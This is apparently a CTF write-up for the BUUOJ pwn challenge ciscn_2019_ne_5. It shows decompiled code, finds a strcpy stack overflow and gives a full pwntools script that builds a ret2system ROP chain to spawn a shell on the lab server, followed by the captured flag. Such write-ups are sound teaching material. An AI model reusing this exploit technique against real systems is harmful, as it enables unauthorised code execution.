分析
- 安全保护
1 2 3 4 5 6
| Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
|
- ida分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| int __cdecl main(int argc, const char **argv, const char **envp) { int result; int v4; char src[4]; char v6[124]; char s1[4]; char v8[96]; int *p_argc;
p_argc = &argc; setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); fflush(stdout); *(_DWORD *)s1 = 48; memset(v8, 0, sizeof(v8)); *(_DWORD *)src = 48; memset(v6, 0, sizeof(v6)); puts("Welcome to use LFS."); printf("Please input admin password:"); __isoc99_scanf("%100s", s1); if ( strcmp(s1, "administrator") ) { puts("Password Error!"); exit(0); } puts("Welcome!"); puts("Input your operation:"); puts("1.Add a log."); puts("2.Display all logs."); puts("3.Print all logs."); printf("0.Exit\n:"); __isoc99_scanf("%d", &v4); switch ( v4 ) { case 0: exit(0); return result; case 1: AddLog(src); result = sub_804892B(argc, argv, envp); break; case 2: Display(src); result = sub_804892B(argc, argv, envp); break; case 3: Print(); result = sub_804892B(argc, argv, envp); break; case 4: GetFlag(src); result = sub_804892B(argc, argv, envp); break; default: result = sub_804892B(argc, argv, envp); break; } return result; }
|
第一个需要判断密码,直接写了,很简单,第二个,明显可以看到GetFlag函数,点进去查看:
1 2 3 4 5 6 7 8 9 10
| int __cdecl GetFlag(char *src) { char dest[4]; char v3[60];
*(_DWORD *)dest = 48; memset(v3, 0, sizeof(v3)); strcpy(dest, src); return printf("The flag is your log:%s\n", dest); }
|
这里 strcpy(dest, src)存在溢出,但是有nx保护,所以需要通过ROP实现利用。
利用
- sh查找
1 2 3 4
| ~/pwn$ ROPgadget --binary ciscn_2019_ne_5 --string ""sh Strings information ============================================================ 0x080482ea : sh
|
这个其实是字符串fflush的末尾,还好是末尾后面有\x00截断,要是在中间就用不了了
- main地址查找
1 2
| (gdb) info address main Symbol "main" is at 0x8048722 in a file compiled without debugging.
|
- system函数地址
ida查看0x080484d0
- buf构造
buf = padding + ebp + system_addr + main_addr + sh_addr
- 完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import* p=remote('node5.buuoj.cn',28305) system=0x080484d0 sh=0x080482ea main=0x08048722 p.recvuntil('password:') p.sendline('administrator') p.recvuntil('Exit\n:') p.sendline(str(1)) p.recvuntil('info:') payload=b'a'*0x4c+p32(system)+p32(main)+p32(sh) p.sendline(payload) p.recvuntil('Exit\n:') p.sendline(str(4)) p.interactive()
|
flag{0109c102-5df8-4cf7-9dda-f3bbdec71bd2}